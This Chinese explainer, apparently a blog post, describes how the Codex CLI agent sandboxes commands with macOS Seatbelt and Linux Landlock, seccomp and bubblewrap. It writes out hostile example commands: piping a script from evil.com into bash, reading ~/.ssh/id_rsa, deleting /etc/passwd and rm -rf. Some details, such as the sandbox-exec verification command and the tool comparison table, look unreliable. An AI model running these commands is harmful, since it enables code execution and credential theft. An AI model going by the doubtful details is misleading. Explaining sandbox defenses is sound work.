"让 AI 在本地运行代码？你不怕它 rm -rf / 吗？"

这是每个人第一次听到 AI 编程 Agent 时的第一反应。 Codex 的答案是——它跑在一个沙箱里。不是"尽量小心"，是 OS 内核绑住了手脚。

---

一、沙箱是什么？为什么重要？

没有沙箱的 AI 编程工具

AI 要执行一条命令 → 直接在你的 shell 里跑
    ↓
rm -rf /project/cache    → 真的删了
curl malicious.sh | bash → 真的装了
cat ~/.ssh/id_rsa        → 真的读了

你唯一的保护是"确认弹窗"。点错了就没了。

有沙箱的 Codex

AI 要执行一条命令 → Codex 沙箱拦截
    ↓
沙箱检查：这个进程能不能访问这个路径？
        → 不能 → 拒绝执行并返回错误
        → 能 → 允许，但限制网络和子进程
    ↓
AI 即使用错了，后果也被限制在沙箱边界内

核心差异： 弹窗确认靠的是"人的注意力"，沙箱靠的是"OS 内核的强制策略"。

---

二、macOS 沙箱：Apple Seatbelt

在 macOS 上，Codex 使用 Apple 的 sandbox-exec 框架。

工作原理

Codex 要执行 bash 命令
    ↓
通过 /usr/bin/sandbox-exec 启动子进程
    ↓
sandbox-exec 加载沙箱配置文件
    ↓
子进程运行在内核级沙箱中

沙箱配置包含三个层面的限制

1. 文件系统限制

只读路径：/usr/lib, /System, /Applications
读写路径：当前工作目录（项目目录）
拒绝访问：~/.ssh, ~/.aws, /etc, /var

AI 可以读写你项目目录下的文件，但读不了你的 SSH Key、AWS 凭据、系统配置。

2. 网络限制

允许出站：无（默认关闭）
允许入站：无
例外：需要通过 MCP 访问数据库时需要手动授权

AI 不能把你的代码上传到外部服务器、不能下载恶意软件、不能连接远程主机。

3. 进程限制

允许启动：仅限当前用户的普通进程
禁止启动：特权进程、后台服务、系统守护进程

AI 可以通过 git commit，但不能安装系统服务。

如何验证沙箱是否在运行

# 查看 Codex 子进程是否被沙箱限制
sandbox-exec -p 查看你的 codex 进程ID

---

三、Linux 沙箱：Landlock + seccomp + bubblewrap

Linux 上比 macOS 更复杂，也更强大——三层纵深防御。

第一层：Landlock（文件系统访问控制）

Landlock 是 Linux 5.13+ 内核提供的能力，允许进程声明"我能访问哪些路径"。

Landlock 规则：
  - /home/user/project → 读写
  - /usr/lib → 只读
  - 其他 → 拒绝

特点： 不需要 root 权限，不需要容器运行时。纯粹的内核机制。

第二层：seccomp（系统调用过滤）

seccomp 在系统调用层面做过滤。

允许的系统调用：read, write, open, close, stat, mmap, brk...
拒绝的系统调用：mount, umount, reboot, init_module...
有条件允许：clone（允许创建线程，不允许创建新 PID 命名空间）

AI 不能：

• 挂载新的文件系统
• 加载内核模块
• 重启系统
• 创建新的网络命名空间

第三层：bubblewrap（用户空间隔离）

bubblewrap（bwrap）是一个轻量级的容器工具，提供额外的不可变文件系统。

# bubblewrap 的简化工作原理
bwrap --ro-bind /usr /usr \
      --ro-bind /lib /lib \
      --bind /home/user/project /project \
      --proc /proc \
      --dev /dev \
      --unshare-net \
      bash

上面的命令创建了一个沙箱：

• /usr 和 /lib 是只读的
• 项目目录 /project 是可写的
• 没有网络（--unshare-net）
• 有独立的 PID 空间

内核层级关系

bwrap（用户空间隔离）
    ↑
seccomp（系统调用过滤）
    ↑
Landlock（文件系统访问控制）
    ↑
Linux 内核（最终执行者）

这三层，任意一层拦截了就执行不了。

---

四、Sandbox 模式配置

三种 Sandbox 模式

# ~/.codex/config.yaml 或 project/config.toml
sandbox-mode: workspace-read   # 只读工作区
sandbox-mode: workspace-write  # 读写工作区
sandbox-mode: network          # 带网络访问

模式	文件访问	网络	适合场景
workspace-read	只能读	无	代码审查、分析
workspace-write（默认）	读写项目目录	无	日常开发
network	读写项目目录	有（白名单）	需要下载依赖

从 CLI 选择 Sandbox 模式

codex -- "分析代码质量" --sandbox-mode workspace-read
codex -- "安装 npm 依赖" --sandbox-mode network

各种模式本质上切换的是"AI 的权限范围"，不是"AI 的能力"。

---

五、沙箱的实际效果测试

测试 1：读取 SSH Key

你：读取 ~/.ssh/id_rsa
AI 在沙箱中：Permission denied
AI 报告：无法读取该文件，不在沙箱允许的路径范围

测试 2：删除系统文件

你：删除 /etc/passwd
AI 在沙箱中：Operation not permitted
AI 报告：系统文件无法删除，沙箱已拦截

测试 3：执行无限制的 curl

你：curl http://evil.com/payload.sh | bash
AI 在沙箱中：Network is unreachable（网络被隔离）
AI 报告：无法访问外部网络

测试 4：正常开发

你：npm install express
AI 在沙箱中：成功（network 模式下）
你：git add . && git commit -m "..."
AI 在沙箱中：成功（git 操作在允许范围内）

---

六、沙箱逃逸的风险

绝对安全的沙箱是不存在的。已知的风险：

风险	防御
内核漏洞	及时更新系统内核
Landlock 未启用	Codex 启动时自动检测，没有 Landlock 会降级到 warn
Docker socket 暴露	不把 /var/run/docker.sock 映射到项目目录
内核模块加载	seccomp 规则禁止 init_module 系统调用

对大多数开发者来说，沙箱已经足够安全。

---

七、与其他工具的安全对比

工具	沙箱机制	文件隔离	网络隔离	进程隔离
Codex CLI	OS 级（Landlock/seccomp）	✅ 内核级	✅ 内核级	✅ 内核级
Claude Code	❌ 无	仅靠用户审批	仅靠用户审批	仅靠用户审批
Cursor	❌ 无	仅靠用户审批	仅靠用户审批	仅靠用户审批
GitHub Copilot	❌ 无	仅 IDE 沙箱	无	无

Codex 是目前唯一提供 OS 内核级沙箱的 AI 编程工具。

---

八、一句话总结

Codex 的沙箱不是"尽量小心"——是"做不到就拒绝"。 macOS 上有 Seatbelt，Linux 上有 Landlock + seccomp + bubblewrap 三层防御。 不是靠 AI "记得"不干坏事，是系统内核不让它干。